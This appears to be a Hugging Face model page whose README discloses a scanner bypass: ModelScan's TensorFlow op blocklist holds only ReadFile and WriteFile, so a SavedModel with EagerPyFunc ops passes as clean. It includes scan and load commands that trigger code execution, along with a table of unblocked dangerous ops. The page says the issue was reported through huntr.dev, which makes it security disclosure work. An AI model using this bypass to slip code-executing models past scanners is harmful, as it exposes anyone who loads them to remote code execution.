Downloads · 30 days
0
xiaoyaoes/modelscan-tfops-blacklist-bypass
modelscan-tfops-blacklist-bypass is a machine learning model from xiaoyaoes. Use it for the machine learning task on the model card, and read the license before you ship it in a product. It is set up for tensorflow.
ModelScan's unsafetfoperators blacklist only has 2 entries: ReadFile and WriteFile.
Downloads · 30 days
0
Access
Public
Updated May 30, 2026
Repo size
8.4 KB
Likes
0
Public
Click a slice to open those files.
.pb8.4 KB · 82%
From the Hugging Face model README
ModelScan's unsafe_tf_operators blacklist only has 2 entries: ReadFile and WriteFile.
But TensorFlow has hundreds of raw ops, including code execution ops like EagerPyFunc and PyFunc. All of them pass through ModelScan undetected.
This SavedModel contains EagerPyFunc ops — ModelScan reports 0 Issues, 0 Errors, 0 Skipped.
# 1. ModelScan says CLEAN
pip install modelscan[all]
modelscan -p saved_model.pb
# Output: Issues: 0, Errors: 0, Skipped: 0
# 2. But the graph contains EagerPyFunc
python3 -c "
import tensorflow as tf
data = open('saved_model.pb', 'rb').read()
print(f'EagerPyFunc: {data.count(b\"EagerPyFunc\")}x')
print(f'StatefulPartitionedCall: {data.count(b\"StatefulPartitionedCall\")}x')
"
# 3. Load + call → RCE
python3 -c "
import tensorflow as tf
model = tf.saved_model.load('.')
print(model(tf.constant([1.0, 2.0, 3.0])))
print('Check /tmp/PYFUNC_RCE')
"
| Op | Risk | In Blacklist? |
|---|---|---|
| EagerPyFunc | Code execution | ❌ |
| PyFunc | Code execution | ❌ |
| PyFuncStateless | Code execution | ❌ |
| StatefulPartitionedCall | Calls sub-function | ❌ |
| PartitionedCall | Calls sub-function | ❌ |
| WholeFileReader | File read | ❌ |
| WholeFileReaderV2 | File read | ❌ |
| MatchingFiles | Directory listing | ❌ |
Submitted to ProtectAI via huntr.dev.